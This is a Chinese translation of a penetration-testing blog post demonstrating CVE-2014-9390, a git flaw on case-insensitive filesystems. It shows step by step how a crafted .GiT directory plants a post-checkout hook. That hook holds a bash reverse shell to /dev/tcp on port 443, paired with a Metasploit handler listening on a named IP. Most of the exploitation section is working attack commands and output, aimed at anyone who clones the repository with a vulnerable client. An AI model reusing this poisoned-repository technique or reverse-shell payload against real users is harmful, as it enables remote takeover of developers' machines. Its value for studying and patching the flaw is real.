0278-One git command may cause you hacked(CVE-2014-9390)

# One git command may cause you hacked(CVE-2014-9390)

from:https://www.mehmetince.net/one-git-command-may-cause-you-hacked-cve-2014-9390-exploitation-for-shell/

0x00 背景
——-

* * *

CVE-2014-9390是最近很火的一个漏洞,一个git命令就可能导致你被黑,我不打算深入探讨这个漏洞的细节,官方已经在[https://github.com/blog/1938-git-client-vulnerability-announced](https://github.com/blog/1938-git-client-vulnerability-announced)和[http://article.gmane.org/gmane.linux.kernel/1853266](http://article.gmane.org/gmane.linux.kernel/1853266)发布了详细信息。总之,如果你使用了大小写不敏感的操作系统例如Windows或OSX,你应该更新git客户端了。

让我们以渗透测试的角度来看看这个漏洞。

0x01 准备
——-

* * *

我创建了一个命名为CVE-2014-9390的新项目。

![enter image description here](http://drops.javaweb.org/uploads/images/8bcc0d6082446b2aa9740de37922ddd2b2401e17.jpg)

建立一个.GiT(大些G,小写i然后大写T)目录,创建一个vulnerable.txt文件,然后push到项目中。

“`
root@rootlab:~/cve-2014-9390# mkdir .GiT
root@rootlab:~/cve-2014-9390# cd .GiT/
root@rootlab:~/cve-2014-9390/.GiT# echo “Vulnerable” >> vulnerable.txt
root@rootlab:~/cve-2014-9390/.GiT# cd ..
root@rootlab:~/cve-2014-9390# git add .
root@rootlab:~/cve-2014-9390# git commit -m ‘poc’
[master bec157d] poc
1 file changed, 1 insertion(+)
create mode 100644 .GiT/vulnerable.txt
root@rootlab:~/cve-2014-9390# git push

“`

我们再从Windows的电脑上用存在漏洞的git客户端pull同一个项目看看

“`
rootlab@MINCE ~
$ git clone git@gitlab.com:mehmet/cve-2014-9390.git
Cloning into ‘cve-2014-9390’…
Enter passphrase for key ‘/c/Users/rootlab/.ssh/id_rsa’:
remote: Counting objects: 7, done.
remote: Compressing objects: 100% (3/3), done.
remote: Total 7 (delta 0), reused 0 (delta 0)R
Receiving objects: 100% (7/7), done.
Checking connectivity… done.

“`

给大家看一下.git目录,本应该在.GiT目录的vulnerable.txt也在这里

![enter image description here](http://drops.javaweb.org/uploads/images/5204a4bbef90d3ef6c3f4bbf7f8609d404726d3d.jpg)

0x02 利用
——-

* * *

### 什么是git的hooks

与许多其他版本控制系统类似,一些重要的动作发生时,git有一个方法来执行自定义的脚本。hooks分两方面:客户端和服务器端。当进行commit和merge时可以触发客户端的hooks。

当执行git命令如git pull和git checkout时就可以执行客户端的脚本。

### 如何实现git hooks?

重写.git/hooks目录下的一个脚本文件,然后执行他,我们可以通过这个漏洞来实现。

我们创建一个假的git目录然后建立一个叫post-checkout的文件。

“`
root@rootlab:~/cve-2014-9390# mkdir .GiT/hooks
root@rootlab:~/cve-2014-9390# echo ‘#!/bin/sh’ > .GiT/hooks/post-checkout
root@rootlab:~/cve-2014-9390# echo ‘bash -i >& /dev/tcp/[IPADDRESS]/443 0>&1’ >> .GiT/hooks/post-checkout
root@rootlab:~/cve-2014-9390# git add .
root@rootlab:~/cve-2014-9390# git commit -m ‘add reverse connection payload’
[master 389c979] add powershell payload
1 file changed, 4 insertions(+)
create mode 100644 .GiT/hooks/post-checkout
root@rootlab:~//cve-2014-9390# git push

“`

我们在服务器端监听

“`
msf > use exploit/multi/handler
msf exploit(handler) > set PAYLOAD generic/shell_reverse_tcp
msf exploit(handler) > set LPORT 443
msf exploit(handler) > set LHOST 108.61.164.142
msf exploit(handler) > exploit
[*] Started reverse handler on 108.61.164.142:443
[*] Starting the payload handler…

“`

我们clone https://gitlab.com/mehmet/cve-2014-9390

![enter image description here](http://drops.javaweb.org/uploads/images/725120149894f7d7531492a15c04cec4a9c470ff.jpg)

看起来都是很正常,但是……

![enter image description here](http://drops.javaweb.org/uploads/images/2ea5a13f98f39c178d454ebcc6bfd68e38f10099.jpg)

© 版权声明
THE END
喜欢就支持一下吧
点赞0赞赏 分享
评论 抢沙发

请登录后发表评论

    请登录后查看评论内容